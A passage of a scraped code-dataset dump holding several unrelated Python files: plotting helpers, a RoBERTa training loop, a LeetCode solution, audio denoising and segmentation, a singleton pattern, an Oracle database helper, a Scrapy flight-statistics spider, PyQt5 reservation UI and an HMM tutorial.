{}'.format(cmap))\n\n\ndef get_norm4colorscale(scaling, max_val=None):\n \"\"\"\n Creates a matplotlib.colors.BoundaryNorm object tuned for scaled colormaps,\n i.e. discrete, irregular colorshades.\n\n :param scaling: the values determining changes of colors\n :param max_val: an additional maximum value to replace the upper bound if\n this value is included between the last two upper values.\n\n :return: a tuple (norm, scaling), scaling being eventually modified\n according to **max_val**\n \"\"\"\n colors = matplotlib.colors\n bounds = copy.copy(scaling)\n if max_val is not None:\n if bounds[-2] <= max_val <= bounds[-1]:\n bounds[-1] = max_val\n norm = colors.BoundaryNorm(boundaries=bounds, ncolors=len(bounds) - 1)\n return (norm, bounds)\n", "repo_name": "UMR-CNRM/bronx", "sub_path": "src/bronx/graphics/colormapping.py", "file_name": "colormapping.py", "file_ext": "py", "file_size_in_byte": 2236, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 35, "usage_type": "attribute"}, {"api_name": "matplotlib.colors.ListedColormap", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 38, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "attribute"}, {"api_name": "matplotlib.colors", "line_number": 68, "usage_type": "attribute"}, {"api_name": "copy.copy", "line_number": 69, "usage_type": "call"}]} {"seq_id": "20023818445", "text": "from transformers import RobertaConfig\nfrom transformers import RobertaForMaskedLM\nimport torch \nfrom transformers import AdamW\nfrom tqdm.auto import tqdm\nfrom piplines import InitializeDataset\n\n\n\n\ndef initialize_model():\n\n config = RobertaConfig(\n vocab_size=10_0, # we align this to the tokenizer vocab_size\n max_position_embeddings= 100 ,\n hidden_size=100,\n num_attention_heads=5,\n num_hidden_layers=3,\n type_vocab_size=1\n )\n\n\n model = RobertaForMaskedLM(config)\n return(model)\n\ndef train_prep():\n device = torch.device('cuda') \n # and move our model over to the selected device\n model = initialize_model()\n model.to(device)\n\n #Activate the training mode of our model, and initialize our optimizer (Adam with weighted decay - reduces chance of overfitting).\n # activate training mode\n model.train()\n # initialize optimizer\n optim = AdamW(model.parameters(), lr=1e-4)\n return(optim,device,model)\n\n\ndef training():\n\n epochs = 2\n optim,device,model = train_prep()\n loader = InitializeDataset.intial_data()\n for epoch in range(epochs):\n # setup loop with TQDM and dataloader\n loop = tqdm(loader, leave=True)\n for batch in loop:\n # initialize calculated gradients (from prev step)\n optim.zero_grad()\n # pull all tensor batches required for training\n input_ids = batch['input_ids'].to(device)\n attention_mask = batch['attention_mask'].to(device)\n labels = batch['labels'].to(device)\n # process\n outputs = model(input_ids, attention_mask=attention_mask,labels=labels)\n # extract loss\n loss = outputs.loss\n # calculate loss for every parameter that needs grad update\n loss.backward()\n # update parameters\n optim.step()\n # print relevant info to progress bar\n loop.set_description(f'Epoch {epoch}')\n\n model.save_pretrained('./filiberto') # and don't forget to save filiBE", "repo_name": "sohaylaelsayed/How-to-Train-a-BERT-Model-From-Scratch", "sub_path": "train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 2063, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "transformers.RobertaConfig", "line_number": 13, "usage_type": "call"}, {"api_name": "transformers.RobertaForMaskedLM", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 27, "usage_type": "call"}, {"api_name": "transformers.AdamW", "line_number": 36, "usage_type": "call"}, {"api_name": "piplines.InitializeDataset.intial_data", "line_number": 44, "usage_type": "call"}, {"api_name": "piplines.InitializeDataset", "line_number": 44, "usage_type": "name"}, {"api_name": "tqdm.auto.tqdm", "line_number": 47, "usage_type": "call"}]} {"seq_id": "72685250464", "text": "from typing import List\n\n\nclass Solution:\n def maximalSquare(self, matrix: List[List[str]]) -> int:\n \"\"\"\n as we are using only the previous elements, therefore we just need 1D dp array\n \"\"\"\n rows = len(matrix)\n cols = len(matrix[0]) if rows > 0 else 0\n\n # store the last row\n dp = [0] * (cols + 1)\n prev = 0\n maxsqlen = 0\n\n for i in range(1, rows + 1):\n for j in range(1, cols + 1):\n temp = dp[j]\n\n if matrix[i - 1][j - 1] == '1':\n dp[j] = min(dp[j - 1], prev, dp[j]) + 1\n maxsqlen = max(maxsqlen, dp[j])\n\n else:\n dp[j] = 0\n\n prev = temp\n\n return maxsqlen ** 2\n\n# Runtime: 200 ms, faster than 76.69% of Python3 online submissions for Maximal Square.\n# Memory Usage: 14.4 MB, less than 9.09% of Python3 online submissions for Maximal Square.\n", "repo_name": "daviddwlee84/LeetCode", "sub_path": "Python3/Array/MaximalSquare/DP_2_221.py", "file_name": "DP_2_221.py", "file_ext": "py", "file_size_in_byte": 949, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 5, "usage_type": "name"}]} {"seq_id": "28073474064", "text": "import numpy as np\nimport numpy.fft as nf\nimport scipy.io.wavfile as wf\n\n\ndef fft_transform(audio,sample_rate):\n fft_freqs = nf.fftfreq(len(audio),1/sample_rate)\n fft_audio = nf.fft(audio)\n return fft_audio,fft_freqs\n# def remove_noise(fft_audio,b,threshold):\n# fft_audio[(np.abs(fft_audio) < b) & (np.abs(fft_audio) > threshold)] = 0\n# return fft_audio\n\ndef remove_noise(fft_freqs,fft_audio,b,threshold):\n fft_audio[fft_freqs < b] = 0\n fft_audio[fft_freqs > threshold] = 0\n return fft_audio\n\n\nif __name__ == '__main__':\n #import wave\n sample_rate_1cm,audio_1cm= wf.read('./1cm_voice.wav')\n sample_rate_1m,audio_1m = wf.read(\"./1m_voice.wav\")\n\n fft_audio_1cm , fft_freqs_1cm = fft_transform(audio_1cm,sample_rate_1cm)\n fft_audio_1m ,fft_freqs_1m = fft_transform(audio_1m,sample_rate_1m)\n\n nonoise_audio_1cm = remove_noise(fft_freqs_1cm,fft_audio_1cm,100,6500)\n nonoise_audio_1m = remove_noise(fft_freqs_1m,fft_audio_1m,85,6500)\n\n nonoise_audio_singal_1cm = nf.ifft(nonoise_audio_1cm)\n final_audio_singal_1m = nf.ifft(nonoise_audio_1m)\n\n path_1cm = './1cm_remove_noise.wav'\n path_1m = './1m_remove_noise.wav'\n wf.write(path_1cm,sample_rate_1cm,nonoise_audio_singal_1cm.astype(np.int16))\n wf.write(path_1m,sample_rate_1m,final_audio_singal_1m.astype(np.int16))", "repo_name": "QinghuaHao/Digital_Singal_Processing", "sub_path": "remove_noise.py", "file_name": "remove_noise.py", "file_ext": "py", "file_size_in_byte": 1323, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.fft.fftfreq", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 7, "usage_type": "name"}, {"api_name": "numpy.fft.fft", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 8, "usage_type": "name"}, {"api_name": "scipy.io.wavfile.read", "line_number": 22, "usage_type": "call"}, {"api_name": "scipy.io.wavfile", "line_number": 22, "usage_type": "name"}, {"api_name": "scipy.io.wavfile.read", "line_number": 23, "usage_type": "call"}, {"api_name": "scipy.io.wavfile", "line_number": 23, "usage_type": "name"}, {"api_name": "numpy.fft.ifft", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 31, "usage_type": "name"}, {"api_name": "numpy.fft.ifft", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 32, "usage_type": "name"}, {"api_name": "scipy.io.wavfile.write", "line_number": 36, "usage_type": "call"}, {"api_name": "scipy.io.wavfile", "line_number": 36, "usage_type": "name"}, {"api_name": "numpy.int16", "line_number": 36, "usage_type": "attribute"}, {"api_name": "scipy.io.wavfile.write", "line_number": 37, "usage_type": "call"}, {"api_name": "scipy.io.wavfile", "line_number": 37, "usage_type": "name"}, {"api_name": "numpy.int16", "line_number": 37, "usage_type": "attribute"}]} {"seq_id": "32526841696", "text": "from threading import Lock, Thread\nfrom queue import Queue\nimport datetime\n\n\nclass SingletonMeta(type):\n \"\"\"\n Metaclass for multithreading realisation of Singleton class\n\n \"\"\"\n\n _instances = {}\n _lock: Lock = Lock() # blocking object to synchronize threads\n\n def __call__(cls, *args, **kwargs):\n \"\"\"\n Call self as function and add new instances with locking\n\n :param args:\n :param kwargs:\n :return: instances\n \"\"\"\n with cls._lock:\n if cls not in cls._instances:\n new_instance = super().__call__(*args, **kwargs)\n cls._instances[cls] = new_instance\n\n return cls._instances[cls]\n\n\nclass Singleton(metaclass=SingletonMeta):\n \"\"\"\n Singleton main class realization\n\n \"\"\"\n\n def __init__(self) -> None:\n self._cur_datetime = datetime.datetime.now()\n\n def some_logic_implementation(self) -> datetime:\n \"\"\"\n Realizes some logic(print datetime of instance initialization)\n\n :return: current datetime\n \"\"\"\n\n return self._cur_datetime\n\n\ndef singleton_usage() -> datetime:\n \"\"\"\n Shows that Singleton was realized successfully\n\n :return: current datetime\n \"\"\"\n singleton = Singleton()\n return singleton.some_logic_implementation()\n\n\ndef main():\n results = Queue(maxsize=2) # Results of functions in threads\n\n # Initialize threads\n process1 = Thread(target=lambda queue: queue.put(singleton_usage()), args=(results,))\n process2 = Thread(target=lambda queue: queue.put(singleton_usage()), args=(results,))\n\n # Threads start\n process1.start()\n process2.start()\n\n # Join threads\n process1.join()\n process2.join()\n\n # Check for singleton was realized successfully\n if results.qsize() == 2:\n first, second = results.get(), results.get()\n assert first == second, \"Error: Multiple singletons were created\"\n else:\n print(\"Error: Bad implementation of Singleton\")\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "Mernus/design_patterns", "sub_path": "uncompiled/multithread_singleton.py", "file_name": "multithread_singleton.py", "file_ext": "py", "file_size_in_byte": 2032, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "threading.Lock", "line_number": 13, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 38, "usage_type": "attribute"}, {"api_name": "queue.Queue", "line_number": 61, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 64, "usage_type": "call"}, {"api_name": "queue.put", "line_number": 64, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 65, "usage_type": "call"}, {"api_name": "queue.put", "line_number": 65, "usage_type": "call"}]} {"seq_id": "15188683421", "text": "import cx_Oracle\r\nimport dbParser as db\r\n\r\ndb_tns = None\r\ndb_conn = None\r\ncursor = None\r\n\r\ndef createConnection():\r\n global db_conn\r\n if db_conn == None:\r\n db_tns = cx_Oracle.makedsn(db.getHost(),db.getPort(),service_name=db.getServiceName())\r\n db_conn = cx_Oracle.connect(user=db.getUser(),password=db.getPassword(),dsn=db_tns)\r\n return db_conn.cursor()\r\n\r\ndef executeDDL(queryToExecute):\r\n global cursor \r\n cursor = createConnection()\r\n try:\r\n cursor.execute(queryToExecute)\r\n except cx_Oracle.DatabaseError as dbError:\r\n print(dbError)\r\n\r\ndef executeDescribe(queryToExecute):\r\n cursor = createConnection()\r\n try:\r\n cursor.execute(queryToExecute)\r\n res = cursor.fetchall()\r\n \r\n for record in res:\r\n print('{0} ---- {1}'.format(record[0],record[1]))\r\n except cx_Oracle.DatabaseError as dbError:\r\n print(dbError)\r\n \r\ndef executeSelect(queryToExecute):\r\n cursor = createConnection()\r\n try:\r\n cursor.execute(queryToExecute)\r\n for column in cursor.description:\r\n print(column)\r\n \r\n res = cursor.fetchmany(3)\r\n \r\n for record in res:\r\n print(record)\r\n except cx_Oracle.DatabaseError as dbError:\r\n print(dbError)\r\n\r\ndef closeConnection():\r\n global db_conn\r\n if db_conn != None:\r\n cursor.close()\r\n db_conn.close()\r\n\r\n", "repo_name": "nandansn/pythonlab", "sub_path": "myworkouts/officetools/dis/dbutils.py", "file_name": "dbutils.py", "file_ext": "py", "file_size_in_byte": 1418, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "cx_Oracle.makedsn", "line_number": 11, "usage_type": "call"}, {"api_name": "dbParser.getHost", "line_number": 11, "usage_type": "call"}, {"api_name": "dbParser.getPort", "line_number": 11, "usage_type": "call"}, {"api_name": "dbParser.getServiceName", "line_number": 11, "usage_type": "call"}, {"api_name": "cx_Oracle.connect", "line_number": 12, "usage_type": "call"}, {"api_name": "dbParser.getUser", "line_number": 12, "usage_type": "call"}, {"api_name": "dbParser.getPassword", "line_number": 12, "usage_type": "call"}, {"api_name": "cx_Oracle.DatabaseError", "line_number": 20, "usage_type": "attribute"}, {"api_name": "cx_Oracle.DatabaseError", "line_number": 31, "usage_type": "attribute"}, {"api_name": "cx_Oracle.DatabaseError", "line_number": 45, "usage_type": "attribute"}]} {"seq_id": "23210338590", "text": "import scrapy\nimport pandas as pd\n\nclass AirTravelTimeSpider(scrapy.Spider):\n name = 'btsSpider'\n start_urls = ['https://transtats.bts.gov/ONTIME/OriginDestination.aspx']\n download_delay = 1.5\n\n bussiest_routes = [[\"ATL\", \"DFW\"],[\"HNL\", \"OGG\"],[\"DEN\", \"ORD\"],[\"ATL\", \"BWI\"],[\"SAN\", \"SFO\"],[\"LAS\", \"SFO\"],[\"EWR\", \"SFO\"],[\"EWR\", \"FLL\"],[\"DEN\", \"LAS\"],[\"ATL\", \"BOS\"]]\n start_date = [['2', '1', '2020'], ['2', '15', '2020'], ['2', '1', '2019']]\n end_date = [['3', '15', '2020'], ['3', '15', '2020'], ['3', '15', '2019']]\n\n results_count = 0\n time = ['a', 'b', 'c']\n\n call_count = len(bussiest_routes) * len(start_date)\n\n key_values = [\"Id\", \"Carriers\",\"Total_Number\",\"Average_Departure_Delay\", \"Average_Taxi_Out\", \"Average_Departure_to_Take-off(scheduled)\", \"Average_Arrival_Delay\", \"Average_Airborne_Time\", \"Average_Taxi_In\", \"Number_Cancelled\", \"Percent_Cancelled\", \"Number_Diverted\", \"Percent_Diverted\"]\n\n items = pd.DataFrame(columns = key_values)\n\n def parse(self, response):\n for route in self.bussiest_routes:\n for date in range(3):\n data = {\n '__VIEWSTATE': response.css('input#__VIEWSTATE::attr(value)').get(),\n '__VIEWSTATEGENERATOR' : response.css('input#__VIEWSTATEGENERATOR::attr(value)').get(),\n '__EVENTVALIDATION' : response.css('input#__EVENTVALIDATION::attr(value)').get(),\n 'cboAirport_Origin': route[0],\n 'cboAirport_Dest': route[1],\n 'stdatemon': self.start_date[date][0],\n 'stdateday': self.start_date[date][1],\n 'stdateyear': self.start_date[date][2],\n 'eddatemon': self.end_date[date][0],\n 'eddateday': self.end_date[date][1],\n 'eddateyear': self.end_date[date][2],\n 'btnSubmit': 'Submit'\n }\n yield scrapy.FormRequest(url='https://transtats.bts.gov/ONTIME/OriginDestination.aspx', formdata=data, callback=self.parse_results)\n\n def parse_results(self, response):\n counter = 0\n for row in response.xpath('/html/body/form/table[5]/tr[10]/td/div/table/tr'):\n if counter > 1:\n values = row.css('td::text').getall()\n values.insert(0, str(21 + (int)(self.results_count / 3)) + \"-\" + self.time[self.results_count % 3])\n item = pd.DataFrame([values], columns=self.key_values)\n self.items = self.items.append(item, ignore_index=True)\n counter += 1\n self.results_count += 1\n yield self.items.to_csv('Isaac_BTS.csv', index=False)\n", "repo_name": "icykip/bts.gov_stats_APS.net_scraper", "sub_path": "scrape_bts.py", "file_name": "scrape_bts.py", "file_ext": "py", "file_size_in_byte": 2726, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "scrapy.Spider", "line_number": 4, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 20, "usage_type": "call"}, {"api_name": "scrapy.FormRequest", "line_number": 39, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 47, "usage_type": "call"}]} {"seq_id": "37518612823", "text": "from PyQt5.QtGui import QPainter, QColor, QBrush, QPen, QFont, QPainterPath, QPixmap, QDrag\nfrom PyQt5.QtSql import QSqlDatabase, QSqlTableModel, QSqlRelationalTableModel, QSqlQueryModel, QSqlQuery\nfrom PyQt5 import QtCore\nfrom PyQt5.QtCore import QAbstractTableModel, QEvent, Qt, QRect, QMimeData, pyqtSignal, QDir,QSize\nfrom PyQt5.QtWidgets import (\n QDialog,\nQMdiArea,\n QSizeGrip,\n QScrollArea,\n QCompleter,\n QWidget,\n QSizePolicy,\n QMainWindow,\n QApplication,\n QHBoxLayout,\n QLabel,\n QVBoxLayout,\n QTabWidget,\n QLineEdit,\n QPushButton,\n QBoxLayout,\n QTableWidget,\n QTableWidgetItem,\n QComboBox,\n QAbstractItemView,\n QTableView,\n QGridLayout,\n QGroupBox,\n QFrame,\nQFormLayout,\n)\n\nimport reservation.ResEdit\nfrom guest.SearchGuestWidget import SearchGuest\nfrom reservation.Reservation import Reservation\nfrom db.Connection import Connection\nfrom guest.Guest import Guest\nfrom reservation.ReservationAvelRoomsWidget import ReservationAvelRooms\nfrom reservation.ReservationDetailWidget import ReservationDetailWidget\nfrom reservation.ReservationOrderedWidget import ReservationOrderedWidget\n\nclass ReservationActionLayout(QVBoxLayout):\n init_guest = pyqtSignal(int)\n create_res_signal = pyqtSignal()\n def __init__(self):\n super(ReservationActionLayout, self).__init__()\n\n self.search_guest_btn = QPushButton()\n self.search_guest_btn.setText(\"Search guest\")\n self.new_res_btn = QPushButton()\n self.new_res_btn.setText(\"New\")\n self.new_res_btn.setDisabled(True)\n self.new_res_btn.clicked.connect(self.create_res_signal.emit)\n # self.search_guest_btn.clicked.connect(self.search_guest_btn_clicked)\n self.addWidget(self.new_res_btn)\n\n self.addWidget(QPushButton(\"Change\"))\n self.addWidget(self.search_guest_btn)\n self.addWidget(QPushButton(\"Close\"))\n self.addStretch()\n\n def search_guest_btn_clicked(self):\n self._dialog = SearchGuest()\n self._dialog.show()\n self._dialog.chosen_guest.connect(self.on_dialog_choosen)\n", "repo_name": "srokks/simplePMS", "sub_path": "reservation/ReservationActionLayout.py", "file_name": "ReservationActionLayout.py", "file_ext": "py", "file_size_in_byte": 2106, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 42, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 43, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 44, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 48, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 50, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 57, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 59, "usage_type": "call"}, {"api_name": "guest.SearchGuestWidget.SearchGuest", "line_number": 63, "usage_type": "call"}]} {"seq_id": "71979249184", "text": "\"\"\"\"\nThis script performs the second preprocessing step: Segmentation.\nIt uses a combination of signal processing algorithms (chroma,\nautocorrelation, energy level) to extract those segments of\na music recording that are more likely to contain the vocals.\n\"\"\"\n\n\ndef find_relevant_segments(\n vws00sr01_f1,\n n_seg,\n seg_len_sec,\n size_fft_chroma,\n n_ite_autocorrelation\n):\n \"\"\"\n Finds 'n_segments' of length 'seg_len_sec' that are the\n the most likely to contain vocals.\n\n Parameters\n ----------\n vws00sr01_f1 : tuple\n The tuple containing the isolated vocals\n n_seg : int\n The number of segments to extract from the vocals\n seg_len_sec : int\n The length of each extracted segment\n size_fft_chroma : int\n The size of the FFT window computed for the chroma\n n_ite_autocorrelation : int\n The number of autocorrelation passes\n \"\"\"\n import numpy as np\n import librosa\n\n from utils.audio_utils import create_chroma, autocorrelate\n from utils.settings import hyper_parameters\n\n # separate variables from the initial tuple\n song_vocals_wave = vws00sr01_f1[0][0]\n sr = vws00sr01_f1[0][1]\n filename = vws00sr01_f1[1]\n\n print('\\nFinding relevant segments...')\n print(song_vocals_wave.shape, sr, size_fft_chroma)\n if song_vocals_wave.shape[0] == 0:\n return ([], sr), filename\n\n # compute chroma\n chroma = create_chroma(song_vocals_wave, sr, size_fft_chroma)\n print('\\nChroma completed')\n\n # compute autocorrelation\n ac = autocorrelate(chroma, n_ite_autocorrelation)\n print('\\nAutocorrelation completed')\n num_samples_chroma = chroma.shape[1]\n song_len_sec = len(song_vocals_wave) / sr\n chroma_sr = num_samples_chroma / song_len_sec\n chroma_clip_len_samples = seg_len_sec * chroma_sr\n\n # extract initial chorus candidates\n chroma_choruses = np.mean(ac, axis=0).argsort()[-n_seg:][::-1]\n best_choruses = chroma_choruses[~(np.triu(np.abs(chroma_choruses[:, None] -\n chroma_choruses) <= chroma_clip_len_samples, 1)).any(0)]\n for chorus in best_choruses:\n chorus_sec = chorus * song_len_sec / num_samples_chroma\n print(\n '-- In file {0}: relevant segment',\n 'found at {1:g} min {2:.2f} sec'.format(\n filename,\n chorus_sec // 60,\n chorus_sec % 60,\n chorus\n )\n )\n\n print(\n 'Finished processing file {}.',\n 'Number of relevant segments found: {}'.format(\n filename,\n len(best_choruses)\n )\n )\n if best_choruses is None:\n raise ValueError(\n '\\n\\nNo choruses where found :(' + \\\n 'Try increasing the input audio length.'\n )\n\n list_songs_choruses = []\n for i, chorus_start in enumerate(best_choruses):\n chorus_start_sample = chorus_start / chroma_sr\n chorus_wave_data = song_vocals_wave[int(chorus_start_sample * sr) : \\\n int((chorus_start_sample + seg_len_sec) * sr)]\n if len(chorus_wave_data) == seg_len_sec*sr:\n list_songs_choruses.append(chorus_wave_data)\n\n # \"flatnergy\" gives a score for the \"voice-likeness\" of a segment\n list_flatnergy_avg = []\n for seg in list_songs_choruses:\n frames_energies = np.array(\n [\n sum(abs(seg[i:i + hyper_parameters['fft_size']]) ** 2)\n for i in range(0, len(seg), hyper_parameters['hop_size'])\n ]\n )\n frames_flatnesses = frames_energies* \\\n librosa.feature.spectral_flatness(\n seg, n_fft=hyper_parameters['fft_size'],\n hop_length=hyper_parameters['hop_size']\n )\n list_flatnergy_avg.append(\n np.mean(frames_energies) * (1 - np.mean(frames_flatnesses))\n )\n\n # sort clips by energy*(1-spectral_flatness)\n list_song_clips =[\n seg for _, seg in sorted(\n zip(\n list_flatnergy_avg,\n list_songs_choruses\n )\n )\n ][-hyper_parameters['cliper_song']:]\n\n\n\n print(\n 'Removing noisy clips and clips shorter',\n 'than the specified length ({} seconds)...'.format(seg_len_sec)\n )\n print(\n 'All files processed. Final number of',\n 'segments found: {}\\n'.format(len(list_song_clips))\n )\n\n return (list_song_clips, sr), filename\n\n\n# since PySpark needs an iter() object, we create a wrapper method\ndef P_find_relevant_segments(\n P_vm00vw01vws02sr03_f1,\n n_segments,\n segment_len_sec,\n size_fft_chroma,\n n_ite_autocorrelation\n):\n\n P_out = []\n for vm00vw01vws02sr03_f1 in P_vm00vw01vws02sr03_f1:\n P_out.append(\n find_relevant_segments(\n (\n (\n vm00vw01vws02sr03_f1[0][2],\n vm00vw01vws02sr03_f1[0][3]\n ),\n vm00vw01vws02sr03_f1[1]\n ),\n n_segments, segment_len_sec,\n size_fft_chroma,\n n_ite_autocorrelation\n )\n )\n\n return iter(P_out)", "repo_name": "ddcas/singing-language-identification", "sub_path": "preprocessing/segmentation.py", "file_name": "segmentation.py", "file_ext": "py", "file_size_in_byte": 5343, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "utils.audio_utils.create_chroma", "line_number": 50, "usage_type": "call"}, {"api_name": "utils.audio_utils.autocorrelate", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.triu", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 101, "usage_type": "call"}, {"api_name": "utils.settings.hyper_parameters", "line_number": 103, "usage_type": "name"}, {"api_name": "utils.settings.hyper_parameters", "line_number": 104, "usage_type": "name"}, {"api_name": "librosa.feature.spectral_flatness", "line_number": 108, "usage_type": "call"}, {"api_name": "librosa.feature", "line_number": 108, "usage_type": "attribute"}, {"api_name": "utils.settings.hyper_parameters", "line_number": 109, "usage_type": "name"}, {"api_name": "utils.settings.hyper_parameters", "line_number": 110, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 113, "usage_type": "call"}, {"api_name": "utils.settings.hyper_parameters", "line_number": 124, "usage_type": "name"}]} {"seq_id": "4060425239", "text": "import os\nimport plotConfig as p\nimport datetime\nimport plot.plotMappingRange as ran\nfrom build import paths, tex_path\nimport matplotlib.pyplot as plt\n\n\ndef plotNortheastInstrumentation():\n map = p.mapping(width = 20, heigth = 20, ncols = 1 )\n \n \n fig, ax = map.subplots_with_map()\n \n map.mapping_attrs(ax, \n step_lat = 2, step_lon = 2,\n lat_min = -12, lat_max = -2, \n lon_max = -32, lon_min = -42)\n \n \n \n ran.plotStations(ax, \n date = datetime.date(2014, 1, 1), \n color = \"green\", \n markersize = 15, \n marker = \"o\", \n lat_min = -12, \n lat_max = -2, \n lon_max = -32, \n lon_min = -42)\n \n \n ran.plot_range_stations(ax)\n \n \n size = 300\n \n l1 = plt.scatter([],[], s = size, \n color = 'green', \n marker = \"o\",\n edgecolors='none')\n \n \n l2 = plt.scatter([],[], s = size, \n color = 'red', \n marker = 's', \n edgecolors='none')\n \n \n l3 = plt.scatter([],[], s = size, \n color = 'blue', \n marker = '^', \n edgecolors='none')\n \n labels = [\"Receptores GNSS - RBMC\", \n \"Imageador (Cariri)\", \n \"Ionossonda (Fortaleza)\"]\n \n plt.legend([l1, l2, l3], labels, \n fontsize = 30,\n loc = \"upper right\", \n )\n \n return fig\n\ndef main():\n\n fig = plotNortheastInstrumentation()\n \n path_to_save = os.path.join(tex_path(\"results\"), \n \"northeast_region.png\")\n \n \n fig.savefig(path_to_save, dpi = 100)\n \n \n ", "repo_name": "mfkiwl/GNSS-Analysis-2", "sub_path": "plot/plotNortheastReceivers.py", "file_name": "plotNortheastReceivers.py", "file_ext": "py", "file_size_in_byte": 1866, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "plotConfig.mapping", "line_number": 10, "usage_type": "call"}, {"api_name": "plot.plotMappingRange.plotStations", "line_number": 22, "usage_type": "call"}, {"api_name": "plot.plotMappingRange", "line_number": 22, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 23, "usage_type": "call"}, {"api_name": "plot.plotMappingRange.plot_range_stations", "line_number": 33, "usage_type": "call"}, {"api_name": "plot.plotMappingRange", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "build.tex_path", "line_number": 70, "usage_type": "call"}]} {"seq_id": "15078194356", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 6 11:05:12 2016\n\n@author: yangzhao\n\nThis file is a detailed implementation of HMM described in PRML. THe files\ncontains three modules:\n 1. data generation\n 2. K-means for preprocess parameter selection\n 3. Alpha-Beta algorithm for learning parameters.\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport numpy.random\nimport helpers\nfrom scipy.stats import multivariate_normal as multiGaussian\nfrom numpy import newaxis\nfrom KMeans import KMeans\n\n\n#%% Data Generation Module\n\"\"\"\nThe generated data consists of 'numPoint' points from 'numComponent' components. The transition matrix and emission probability are given by the user. Here we use 2-dimensional gaussian as the emission pdf.\n\"\"\"\n\nnumPoint = 1000\nnumComponent = 3\nnumDim = 2\n\n# transition matrix and emission parameters are given by predifined\nA = np.array([[0.8, 0.1, 0.1],\n [0.1, 0.8, 0.1],\n [0.1, 0.1, 0.8]])\nmean = np.array([ [-2, 0],\n [3, 0],\n [7, 3] ])\ncov = np.array([ [[1, 1],\n [1, 3]],\n [[1, -1],\n [-1, 3]],\n [[1, 1],\n [1, 3]] ])\n\n# generate data\n# use the uniform distribution for the choosing the first component\nZ = np.zeros((numPoint), dtype = np.int8)\nX = np.zeros((numPoint, numDim))\n\nZ[0] = np.random.uniform(low = 0, high = numComponent)\nX[0] = np.random.multivariate_normal(mean[Z[0]], cov[Z[0]])\n\nfor i in range(1, numPoint):\n last = Z[i-1]\n curr = np.random.choice(numComponent, 1, p = A[last])\n Z[i] = curr\n X[i] = np.random.multivariate_normal(mean[Z[i]], cov[Z[i]])\n\nplt.scatter(X[:, 0], X[:, 1], c = Z)\nplt.title(\"Original Data and Their Classes\")\n\n#%% K-Means for parameter initialization\n\"\"\"\nNext part is training the HMM. Training consists of two phases: E Step and M Step. To start, we need to initialize the estimated parameters before our first iteration for E Step.\nThis module uses K-Means to initialize mean and cov. Transition matrix A and distribution for the first component is initialized randomly. All estimated parameters starts with an underscore then follows the same name of the parameters as we used 